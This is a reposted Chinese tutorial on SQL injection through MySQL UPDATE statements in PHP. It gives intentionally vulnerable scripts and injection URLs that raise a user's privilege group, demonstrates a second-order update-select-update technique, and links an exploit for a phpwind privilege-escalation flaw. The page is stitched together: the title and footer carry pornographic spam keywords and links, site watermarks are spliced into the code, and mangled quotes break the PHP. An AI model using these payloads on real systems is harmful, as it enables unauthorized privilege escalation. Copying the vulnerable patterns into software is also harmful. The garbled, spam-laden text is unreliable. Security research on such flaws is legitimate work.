国产成人精品久久免费动漫-国产成人精品天堂-国产成人精品区在线观看-国产成人精品日本-a级毛片无码免费真人-a级毛片毛片免费观看久潮喷

您的位置:首頁技術文章
文章詳情頁

UPDATE注射(mysql+php)的兩個模式

瀏覽:3日期:2024-01-09 08:56:31

本文作者:SuperHei文章性質:原創發布日期:2005-08-14

一、測試環境網管下載dl.bitscn.com

OS: Windowsxp sp2php: php 4.3.10mysql 4.1.9apache 1.3.33

二、測試數據庫結構

-- 數據庫: `test`--

-- --------------------------------------------------------

---- 表的結構 `userinfo`--網管網www_bitscn_com

CREATE TABLE `userinfo` (`groudid` varchar(12) NOT NULL default '1',`user` varchar(12) NOT NULL default 'heige',`pass` varchar(122) NOT NULL default '123456') TYPE=MyISAM DEFAULT CHARSET=utf8;網管u家u.bitsCN.com

---- 導出表中的數據 `userinfo`--

INSERT INTO `userinfo` VALUES ('2', 'heige', '123456')

三、測試模式

1、變量沒有帶''或''中國網管聯盟bitsCN.com

<?php//test1.php Mod1$servername = 'localhost';$dbusername = 'root';$dbpassword = '';$dbname = 'test';

mysql_connect($servername,$dbusername,$dbpassword) or die ('數據庫連接失敗');中國網管論壇bbs.bitsCN.com

$sql = 'update userinfo set pass=$p where user='heige'';//<--$P沒有使用單引號

$result = mysql_db_query($dbname, $sql);$userinfo = mysql_fetch_array($result);中國網管論壇bbs.bitsCN.com

echo '<p>SQL Query:$sql<p>';?>

腳本里只是修改 user='heige' 的 pass,如果 groudid 表示用戶的權限等級,我們的目的就是通過構造 $p 來達到修改 groupid 的目的,那么我們提交:

http://127.0.0.1/test1.php?p=123456,groudid=1

在mysql里查詢:

mysql> select * from userinfo;+---------+-------+--------+| groudid | user | pass |+---------+-------+--------+| 1 | heige | 123456 |+---------+-------+--------+1 row in set (0.01 sec)

用戶heige的groudid又2改為1了 :)

所以我們可以得到沒有''或''update的注射是可以成功的,這個就是我們的模式1。

2、變量帶''或''

<?php//test2.php$servername = 'localhost';$dbusername = 'root';$dbpassword = '';$dbname = 'test';

mysql_connect($servername,$dbusername,$dbpassword) or die ('數據庫連接失敗');

$sql = 'update userinfo set pass='$p' where user='heige'';//<--$P使用單引號中國網管論壇bbs.bitsCN.com

$result = mysql_db_query($dbname, $sql);$userinfo = mysql_fetch_array($result);網管論壇bbs_bitsCN_com

echo '<p>SQL Query:$sql<p>';?>

為了關閉'我們構造$p應該為123456',groudid='2提交:中國網管論壇bbs.bitsCN.com

http://127.0.0.1/test2.php?p=123456',groudid='1

在gpc=on的情況下'變成了',提交的語句變成:

SQL Query:update userinfo set pass='123456',groudid='1' where user='heige'

mysql查詢:

mysql> select * from userinfo;+---------+-------+--------------------+| groudid | user | pass |+---------+-------+--------------------+| 2 | heige | 123456',groudid='1 |+---------+-------+--------------------+1 row in set (0.00 sec)網管bitscn_com

groudid并沒有被修改。那么在變量被''或''時 就完全沒有被注射呢?不是 下面我們看模式2:

<?php//test3.php Mod2$servername = 'localhost';$dbusername = 'root';$dbpassword = '';$dbname = 'test';

mysql_connect($servername,$dbusername,$dbpassword) or die ('數據庫連接失敗');

$sql = 'update userinfo set pass='$p' where user='heige'';//<--$P使用單引號網管u家u.bitscn@com

$result = mysql_db_query($dbname, $sql);mysql_fetch_array($result); //$p的數據寫入數據庫

$sql= 'select pass from userinfo where user='heige'';$result = mysql_db_query($dbname, $sql);$userinfo=mysql_fetch_array($result);

echo $userinfo[0]; //把pass查詢輸出給$userinfo[0]

$sql ='update userinfo set pass='$userinfo[0]' where user='heige'';$result = mysql_db_query($dbname, $sql);mysql_fetch_array($result); //把$userinfo[0] 再次update中國網管聯盟bitsCN.com

?>

我們測試下,提交:網管bitscn_com

http://127.0.0.1/test3.php?p=123456',groudid='1

回mysql查詢下 :網管論壇bbs_bitsCN_com

mysql> select * from userinfo;+---------+-------+--------+| groudid | user | pass |+---------+-------+--------+| 1 | heige | 123456 |+---------+-------+--------+1 row in set (0.00 sec)

HaHa~~ 成功注射 修改groudid為1。 這個就是我們的模式2了,簡單的描敘如下:

update --> select --> update

四、實際模式

模式1:缺

模式2:phpwind 2.0.2和3.31e 權限提升漏洞

漏洞分析

update (profile.php 注射變量為$proicon update語句里為,icon='$userdb[icon]')↓select (jop.php)↓updtate (jop.php)網管論壇bbs_bitsCN_com

Exploit:http://www.huij.net/9xiao/up/phpwind-exploit.exe

五、鳴謝

特別感謝saiy等朋友的討論和幫助。Thanks!!

標簽: PHP
主站蜘蛛池模板: 99国内视频 | 国产美女毛片 | 美女三级网站 | 欧美成人三级 | 国产一级毛片午夜 | 一级女性全黄生活片免费 | 国产美女精品一区二区三区 | 亚洲悠悠色综合中文字幕 | 成人黄色免费网址 | 99视频在线永久免费观看 | 国内久久| 一级毛片黄片 | 亚洲国产成人久久笫一页 | 国产男女 爽爽爽爽视频 | 自拍成人 | 国产专区第一页 | 一级毛片免费观看久 | 美国毛片免费看 | yy6080福利午夜免费观看 | 国产三级精品美女三级 | 在线亚洲欧美日韩 | 国产综合精品在线 | 2021国产精品一区二区在线 | 国产成人精品视频在放 | 欧美精品专区免费观看 | 国产一区二区中文字幕 | 久久精品国产在爱久久 | 草草在线免费视频 | 亚洲精品第一区二区三区 | 精品国产免费人成在线观看 | 国产黄色三级三级三级 | 干女人逼视频 | 亚洲精品国产一区二区在线 | 国产精品久久久免费视频 | 亚洲国产精品综合久久 | 久久免费精品国产72精品剧情 | 国产三级精品美女三级 | 亚洲欧洲国产成人综合一本 | 在线看欧美日韩中文字幕 | a级日韩乱理伦片在线观看 a级特黄毛片免费观看 | 一级毛片免费 |